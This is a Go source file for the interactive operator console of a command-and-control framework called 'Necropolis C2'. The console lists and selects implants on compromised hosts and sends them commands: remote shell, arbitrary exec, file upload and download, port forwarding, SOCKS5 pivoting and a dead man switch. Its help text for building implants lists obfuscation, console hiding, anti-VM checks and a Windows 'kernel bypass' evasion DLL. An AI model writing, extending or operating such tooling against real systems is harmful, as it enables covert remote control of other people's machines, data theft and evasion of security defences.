// Interactive command-line console for the operator. Provides command dispatch with
// history, auto-complete hints, and context-sensitive prompts.
package core

import (
	"fmt"
	"log"
	"os"
	"path/filepath"
	"strconv"
	"strings"
	"time"

	"github.com/peterh/liner"
)

var commandHelp = map[string]string{
	"list":     "list — show registered implants",
	"select":   "select <idx> — select implant by index",
	"ps":       "ps — list processes on selected implant",
	"ls":       "ls [path] — list directory (default: .)",
	"cd":       "cd [path] — change directory (default: .)",
	"pwd":      "pwd — print working directory",
	"shell":    "shell — interactive shell on selected implant (direct libp2p stream)",
	"portfwd":  "portfwd <local-port> <target-host:target-port> — forward local port through implant",
	"exec":     "exec <command> [args...] — execute command on selected implant",
	"deadman":  "deadman <timeout_seconds> <command> — set dead man switch (fires if no contact within timeout)",
	"download": "download <remote-path> — download file from implant",
	"upload":   "upload <local-path> <remote-path> — upload file to implant",
	"kill":     "kill — terminate the selected implant",
	"generate":   "generate [flags] — build an implant\n  --os <string>      target OS: linux, darwin, windows (default: linux)\n  --arch <string>    target arch: amd64, arm64 (default: amd64)\n  --output <path>    output path (default: ./necropolis-implant)\n  --pubkey <path>    operator public key (default: ~/.necropolis/operator.pub)\n  --upx              enable UPX compression (default: false)\n  --obfuscate        obfuscate the binary with garble\n  --quiet            suppress output, detach from terminal, hide console on Windows\n  --antivm           enable VM detection (65+ techniques)\n  --evasion          embed Zig evasion DLL (kernel bypass on Windows)",
	"regenerate": "regenerate — regenerate operator keypair (old implants will not call back)",
	"socks":     "socks start|list|stop — manage SOCKS5 proxies (use 'socks help' for details)",
	"help":      "help [command] — show this help or help for a specific command",
	"exit":      "exit — quit the console",
}

// checkHelp returns true if --help or -h is present in the args.
func checkHelp(args []string) bool {
	for _, a := range args {
		if a == "--help" || a == "-h" {
			return true
		}
	}
	return false
}

// RunCLI starts the interactive operator console read-eval-print loop. It handles
// implant selection, command dispatch, and manages the implant connection context.
func (o *Operator) RunCLI() {
	os.MkdirAll(necropolisDir(), 0700)

	line := liner.NewLiner()
	defer line.Close()

	line.SetCtrlCAborts(true)

	histPath := filepath.Join(necropolisDir(), "history")
	if f, err := os.Open(histPath); err == nil {
		line.ReadHistory(f)
		f.Close()
	}
	defer saveHistory(histPath, line)

	var selected *ImplantRecord

	fmt.Println(boldRed("Necropolis C2") + dim + " — The Citadel" + reset)
	fmt.Println(dim + "Type 'help' for commands, 'help <command>' for details." + reset)
	fmt.Println()

	for {
		if selected != nil && selected.Disconnected {
			fmt.Printf("implant %s@%s disconnected — returning to main prompt\n", selected.Name, selected.Hostname)
			selected = nil
		}

		prompt := boldRed("necropolis") + "> "
		if selected != nil {
			prompt = boldGreen(selected.Name+"@"+selected.Hostname) + "> "
		}

		fmt.Print(prompt)
		input, err := line.Prompt("")
		if err != nil {
			if err == liner.ErrPromptAborted {
				continue
			}
			break
		}
		input = strings.TrimSpace(input)
		if input == "" {
			continue
		}

		line.AppendHistory(input)

		parts := strings.Fields(input)
		cmd := parts[0]
		args := parts[1:]

		switch cmd {
		case "exit", "quit":
			return

		case "help":
			if len(args) > 0 {
				if h, ok := commandHelp[args[0]]; ok {
					fmt.Println("  " + h)
				} else {
					fmt.Printf("no help for '%s'\n", args[0])
				}
				continue
			}
			fmt.Println("Commands:")
			for _, name := range []string{"list", "select", "ps", "ls", "cd", "pwd", "shell", "portfwd", "socks", "exec", "deadman", "download", "upload", "kill", "generate", "regenerate", "help", "exit"} {
				line := commandHelp[name]
				if i := strings.IndexByte(line, '\n'); i >= 0 {
					line = line[:i]
				}
				fmt.Println("  " + line)
			}
			fmt.Println("Use 'help <command>' for details and flags.")

		case "list":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["list"])
				continue
			}
			implants := o.ListImplants()
			active := 0
			relayCount := 0
			for _, rec := range implants {
				if rec.Disconnected {
					continue
				}
				relay := ""
				if rec.IsRelay {
					relay = " " + dimYellow("[relay]")
					relayCount++
				}
				ago := time.Since(rec.LastCheckin).Round(time.Second)
				fmt.Printf("  %d: %s@%s [%s/%s] last=%s peer=%s%s\n",
					active, boldGreen(rec.Name), rec.Hostname, rec.OS, rec.Arch, ago, dim+shortenStr(rec.PeerID, 20)+reset, relay)
				active++
			}
			if active == 0 {
				fmt.Println("no connected implants")
			} else {
				fmt.Printf("%d connected (%d relays)\n", active, relayCount)
			}

		case "select":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["select"])
				continue
			}
			if len(args) == 0 {
				fmt.Println("usage: select <idx>")
				continue
			}
			idx, err := strconv.Atoi(args[0])
			if err != nil {
				fmt.Printf("bad index: %v\n", err)
				continue
			}
			implants := o.ListImplants()
			// Filter to only connected implants for indexing
			var connected []*ImplantRecord
			for _, rec := range implants {
				if !rec.Disconnected {
					connected = append(connected, rec)
				}
			}
			if idx < 0 || idx >= len(connected) {
				fmt.Println("index out of range")
				continue
			}
			selected = connected[idx]
			o.SetSelected(selected.PeerID)
			fmt.Printf("selected %s@%s (%s)\n", boldGreen(selected.Name), selected.Hostname, dim+selected.PeerID+reset)

		case "ps":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["ps"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			if err := o.Ps(selected.PeerID); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("command sent")
			}

		case "ls":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["ls"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			path := "."
			if len(args) > 0 {
				path = args[0]
			}
			if err := o.Ls(selected.PeerID, path); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("command sent")
			}

		case "cd":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["cd"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			path := "."
			if len(args) > 0 {
				path = args[0]
			}
			if err := o.Cd(selected.PeerID, path); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("command sent")
			}

		case "pwd":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["pwd"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			if err := o.Pwd(selected.PeerID); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("command sent")
			}

		case "shell":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["shell"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			fmt.Printf("opening shell to %s@%s...\n", selected.Name, selected.Hostname)
			fmt.Println(dimYellow("=== shell started (Ctrl+] to escape) ==="))
			if err := o.OpenShell(selected.PeerID); err != nil {
				fmt.Printf("shell error: %v\n", err)
			}
			fmt.Println(dimYellow("=== shell ended ==="))

		case "portfwd":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["portfwd"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			if len(args) < 2 {
				fmt.Println("usage: portfwd <local-port> <target-host:target-port>")
				continue
			}
			localPort, err := strconv.Atoi(args[0])
			if err != nil {
				fmt.Printf("bad port: %v\n", err)
				continue
			}
			if err := o.Portfwd(selected.PeerID, localPort, args[1]); err != nil {
				fmt.Printf("portfwd error: %v\n", err)
			}

		case "socks":
			if len(args) == 0 || args[0] == "help" || checkHelp(args) {
				fmt.Println("  socks <subcommand> [args]")
				fmt.Println("  subcommands:")
				fmt.Println("    start <idx|random> <port>  — start SOCKS5 proxy (uses saved credentials if available)")
				fmt.Println("    list                       — show running SOCKS5 proxies")
				fmt.Println("    stop <port>                — stop a running SOCKS5 proxy")
				fmt.Println("    reset-creds                — clear saved credentials (re-prompt on next start)")
				continue
			}

			switch args[0] {
			case "start":
				if len(args) < 2 {
					fmt.Println("usage: socks start <idx|random> <port>")
					continue
				}
				idArg := args[1]
				port := 1080
				if len(args) > 2 {
					if p, err := strconv.Atoi(args[2]); err == nil && p > 0 && p <= 65535 {
						port = p
					} else {
						fmt.Printf("bad port: %s\n", args[2])
						continue
					}
				}

				creds, _ := LoadSocksCreds()
				var username, password string
				if creds != nil {
					username = creds.Username
					fmt.Printf("using saved credentials (user: %s)\n", username)
					pass, err := line.Prompt("SOCKS password: ")
					if err != nil {
						continue
					}
					if !checkPassword(pass, creds.PasswordHash) {
						fmt.Println("incorrect password")
						continue
					}
					password = pass
				} else {
					u, err := line.Prompt("SOCKS username: ")
					if err != nil {
						continue
					}
					p, err := line.Prompt("SOCKS password: ")
					if err != nil {
						continue
					}
					username = u
					password = p
					hash, err := hashPassword(password)
					if err != nil {
						fmt.Printf("failed to hash password: %v\n", err)
						continue
					}
					if err := SaveSocksCreds(&SocksCreds{Username: username, PasswordHash: hash}); err != nil {
						fmt.Printf("failed to save socks creds: %v\n", err)
						continue
					}
				}

				targetID := idArg
				if idArg != "random" {
					peerID, rec, err := o.pickImplantPeerID(idArg)
					if err != nil {
						fmt.Printf("socks: %v\n", err)
						continue
					}
					targetID = peerID
					fmt.Printf("using implant %s@%s\n", rec.Name, rec.Hostname)
				}
				fmt.Printf("starting SOCKS5 proxy on 127.0.0.1:%d...\n", port)
				if err := o.SocksStart(targetID, port, username, password); err != nil {
					fmt.Printf("socks start error: %v\n", err)
				}

			case "list":
				proxies := o.SocksList()
				if len(proxies) == 0 {
					fmt.Println("no SOCKS5 proxies running")
				} else {
					fmt.Println("SOCKS5 proxies:")
					for _, p := range proxies {
						uptime := time.Since(p.StartTime).Round(time.Second)
						fmt.Printf("  %d: %s -> implant %s (up %s)\n", p.Port, p.Username, p.ImplantID, uptime)
					}
				}

			case "stop":
				if len(args) < 2 {
					fmt.Println("usage: socks stop <port>")
					continue
				}
				port, err := strconv.Atoi(args[1])
				if err != nil || port < 1 || port > 65535 {
					fmt.Printf("bad port: %s\n", args[1])
					continue
				}
				if err := o.SocksStop(port); err != nil {
					fmt.Printf("socks stop error: %v\n", err)
				} else {
					fmt.Printf("SOCKS5 proxy on port %d stopped\n", port)
				}

			case "reset-creds":
				if err := ClearSocksCreds(); err != nil {
					fmt.Printf("reset-creds error: %v\n", err)
				} else {
					fmt.Println("SOCKS credentials cleared")
				}

			default:
				fmt.Printf("unknown socks subcommand: %s (try 'socks help')\n", args[0])
			}

		case "download":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["download"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			if len(args) == 0 {
				fmt.Println("usage: download <path>")
				continue
			}
			if err := o.Download(selected.PeerID, args[0]); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("download command sent")
			}

		case "upload":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["upload"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			if len(args) < 2 {
				fmt.Println("usage: upload <src> <dst>")
				continue
			}
			fmt.Printf("uploading %s...\n", args[0])
			if err := o.UploadFile(selected.PeerID, args[0], args[1]); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("upload command sent")
			}

		case "exec", "execute":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["exec"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			if len(args) == 0 {
				fmt.Println("usage: exec <cmd> [args...]")
				continue
			}
			if err := o.Execute(selected.PeerID, args[0], args[1:]); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("command sent")
			}

		case "deadman":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["deadman"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			if len(args) < 2 {
				fmt.Println("usage: deadman <timeout_seconds> <command>")
				continue
			}
			timeout, err := strconv.Atoi(args[0])
			if err != nil {
				fmt.Println("timeout must be a number")
				continue
			}
			cmd := strings.Join(args[1:], " ")
			if err := o.DeadMan(selected.PeerID, cmd, timeout); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Printf("dead man switch set: %s in %ds\n", cmd, timeout)
			}

		case "kill":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["kill"])
				continue
			}
			if selected == nil {
				fmt.Println("no implant selected (use 'select <idx>')")
				continue
			}
			fmt.Printf(redText("kill %s@%s? [y/N] "), selected.Name, selected.Hostname)
			ans, _ := line.Prompt("")
			if ans != "y" && ans != "Y" && ans != "yes" {
				fmt.Println("cancelled")
				continue
			}
			if err := o.Kill(selected.PeerID); err != nil {
				fmt.Printf("error: %v\n", err)
			} else {
				fmt.Println("kill command sent")
			}

		case "generate":
			if checkHelp(args) {
				fmt.Println("  " + commandHelp["generate"])
				continue
			}
			if err := RunGenerate(args); err != nil {
				fmt.Printf("generate error: %v\n", err)
			}

		case "regenerate":
			fmt.Println("WARNING: regenerating operator keys will invalidate ALL existing implants.")
			fmt.Println("Old implants have your current public key embedded and will NOT be able to call back.")
			ans, err := line.Prompt("Are you sure? [y/N] ")
			if err != nil || (ans != "y" && ans != "Y" && ans != "yes") {
				fmt.Println("cancelled")
				continue
			}
			keyPath := keyPath()
			pubPath := pubKeyPath()
			os.Remove(keyPath)
			os.Remove(pubPath)
			log.Printf("deleted %s and %s", keyPath, pubPath)
			log.Printf("regenerated keys will take effect on next startup")
			fmt.Println("Restart necropolis for the new keys to take effect.")

		default:
			fmt.Printf("unknown command: %s (try 'help')\n", cmd)
		}
	}
}

// saveHistory persists the console command history to disk.
func saveHistory(path string, line *liner.State) {
	if f, err := os.Create(path); err == nil {
		line.WriteHistory(f)
		f.Close()
	}
}

// shortenStr truncates a string to max characters with ellipsis.
func shortenStr(s string, max int) string {
	if len(s) <= max {
		return s
	}
	return s[:max] + "..."
}
